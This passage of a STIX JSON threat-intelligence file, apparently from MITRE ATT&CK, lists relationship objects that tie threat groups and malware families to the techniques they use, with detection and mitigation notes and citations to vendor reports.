"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}, {"description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/", "source_name": "Palo Alto OilRig Sep 2018"}], "modified": "2019-04-23T19:32:14.804Z", "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) is written in PowerShell.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)", "relationship_type": "uses", "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6d1c615-16df-4527-ad74-ce8623f87ce0", "type": "relationship", "created": "2020-05-05T20:54:53.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}, {"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T16:28:45.704Z", "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used e-mails with malicious documents to lure victims into installing malware.(Citation: TrendMicro BlackTech June 2017)(Citation: NTT Security Flagpro new December 2021)\t ", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}, {"source_name": "Unit42 Redaman January 2019", "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:13.935Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can capture screenshots.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": "2019-03-22T19:57:37.433Z", "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6d6f916-ca2a-4c25-841f-02d71b31308c", "type": "relationship", "created": "2020-02-27T17:55:27.440Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "STIG krbtgt reset", "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779", "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."}], "modified": "2020-11-05T16:16:33.496Z", "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", "relationship_type": "mitigates", "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6d9f305-bd14-4d86-939d-781aaf512e32", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for newly constructed files via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging. Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f6e3972b-afc2-4dd6-972a-4fe73747dfe4", "created": "2023-09-05T14:19:19.911Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-05T14:19:19.911Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6e9b528-8e46-4ac3-85ff-f9be29aa9c3f", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor processes for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6eaee5b-16b6-4e9f-8dd9-41b64c38aab1", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f6ede604-af42-4c2b-8324-454af2380b24", "created": "2022-03-30T14:26:51.858Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", "modified": "2022-04-14T13:18:03.968Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6f38033-ddd4-418a-ad70-b1198df67fc3", "type": "relationship", "created": "2019-07-19T14:45:29.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/", "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", "source_name": "Palo Alto Office Test Sofacy"}], "modified": "2021-08-16T21:25:04.479Z", "description": "For the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6f5d688-5f78-492f-aed9-12f299b4f6f5", "type": "relationship", "created": "2019-06-18T18:40:33.766Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "source_name": "Flashpoint FIN 7 March 2019"}], "modified": "2020-01-29T17:32:00.161Z", "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used PowerShell to create a Meterpreter session.(Citation: Flashpoint FIN 7 March 2019)", "relationship_type": "uses", "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6f600fd-796d-4f1f-b2c6-0ca283b2cdb1", "type": "relationship", "created": "2020-11-18T21:17:26.320Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}, {"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "modified": "2021-03-26T21:11:31.486Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can fingerprint architecture, computer name, and OS version on the compromised host. [Bazar](https://attack.mitre.org/software/S0534) can also check if the Russian language is installed on the infected machine and terminate if it is found.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f6fe7167-0788-4062-9f59-d8ee8398db15", "created": "2023-03-02T19:01:35.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft BlackCat Jun 2022", "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. 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Retrieved September 29, 2020."}, {"source_name": "Cybersecurity Advisory SVR TTP May 2021", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. 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Retrieved September 17, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}], "modified": "2020-03-17T02:46:42.661Z", "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's current directory.(Citation: FireEye APT10 Sept 2018)", "relationship_type": "uses", "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f758836e-91b2-4651-ba72-d827553b668c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye POSHSPY April 2017", "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}], "modified": "2019-04-24T23:41:40.115Z", "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses a WMI event subscription to establish persistence.(Citation: FireEye POSHSPY April 2017)", "relationship_type": "uses", "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f75caad1-161a-4833-b3ec-f4538e1603fe", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.finfisher.com/FinFisher/index.html", "description": "FinFisher. (n.d.). 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It also uses a custom XOR algorithm to obfuscate code.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)", "relationship_type": "uses", "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f761e63a-5c5a-47e3-8256-08bd299f329e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}], "modified": "2020-03-16T15:59:20.453Z", "description": "[BADNEWS](https://attack.mitre.org/software/S0128) identifies files with certain extensions from USB devices, then copies them to a predefined directory.(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f7623469-eae6-4554-a1d2-35f6ed3a243b", "created": "2023-09-30T03:44:44.064Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-03T03:42:20.211Z", "description": "Using another process or third-party tools, monitor for potentially malicious modifications or access to the `auditd` system process.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", "target_ref": "attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f76355cb-9aa5-403c-aae4-8faed799ac31", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/skeleton-key-malware-analysis", "description": "Dell SecureWorks. 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It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.(Citation: Dell Skeleton)", "relationship_type": "uses", "source_ref": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f76be4ac-f342-4904-b50d-06e28b878011", "created": "2022-04-15T13:42:41.186Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used `mshta.exe` to execute malicious HTA files.(Citation: Symantec Shuckworm January 2022)", "modified": "2022-04-15T13:42:41.186Z", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f76d5396-bce5-4bb8-85aa-75d9f1bec9b2", "type": "relationship", "created": "2021-09-28T17:41:13.107Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-09-28T17:41:13.107Z", "description": "(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", "target_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f770ba6c-df62-4bd4-ab29-34a954c4f6ac", "type": "relationship", "created": "2021-10-15T19:52:14.116Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. (2021, August 30). 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Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}], "modified": "2020-03-11T17:45:54.149Z", "description": "[USBStealer](https://attack.mitre.org/software/S0136) monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.(Citation: ESET Sednit USBStealer 2014)", "relationship_type": "uses", "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f774b7e4-15c6-42d8-917a-efd8617c0c0f", "created": "2022-06-09T19:15:11.322Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) can run a batch script named `del.bat` to remove any [Saint Bot](https://attack.mitre.org/software/S1018) payload-linked files from a compromise system if anti-analysis or locale checks fail.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:15:11.322Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f77738b8-e17c-4b6b-98fc-ffcc569cc008", "type": "relationship", "created": "2020-08-24T13:40:23.150Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. 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[PipeMon](https://attack.mitre.org/software/S0501) loads its modules using reflective loading or custom shellcode.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f77760d0-35c1-4e91-98b9-2ac57ba183d5", "type": "relationship", "created": "2021-04-13T13:07:50.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-04-13T13:07:50.652Z", "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can upload and download files to and from compromised hosts.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f778e7e2-6119-4417-9f30-dfce65f6afe9", "created": "2023-05-17T19:18:04.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. 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Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f77c9b92-0800-4631-b669-524c8ab23772", "type": "relationship", "created": "2020-03-27T20:45:20.235Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.us-cert.gov/ncas/alerts/TA17-318A", "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", "source_name": "US-CERT FALLCHILL Nov 2017"}], "modified": "2020-03-27T20:45:20.235Z", "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) uses fake Transport Layer Security (TLS) to communicate with its C2 server.(Citation: US-CERT FALLCHILL Nov 2017)", "relationship_type": "uses", "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f7800d2b-7eb5-4efe-ac8d-503c187d18ef", "type": "relationship", "created": "2020-06-25T17:48:41.169Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Windshift August 2018", "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}], "modified": "2020-06-25T17:48:41.169Z", "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used e-mail attachments to lure victims into executing malicious code.(Citation: SANS Windshift August 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": 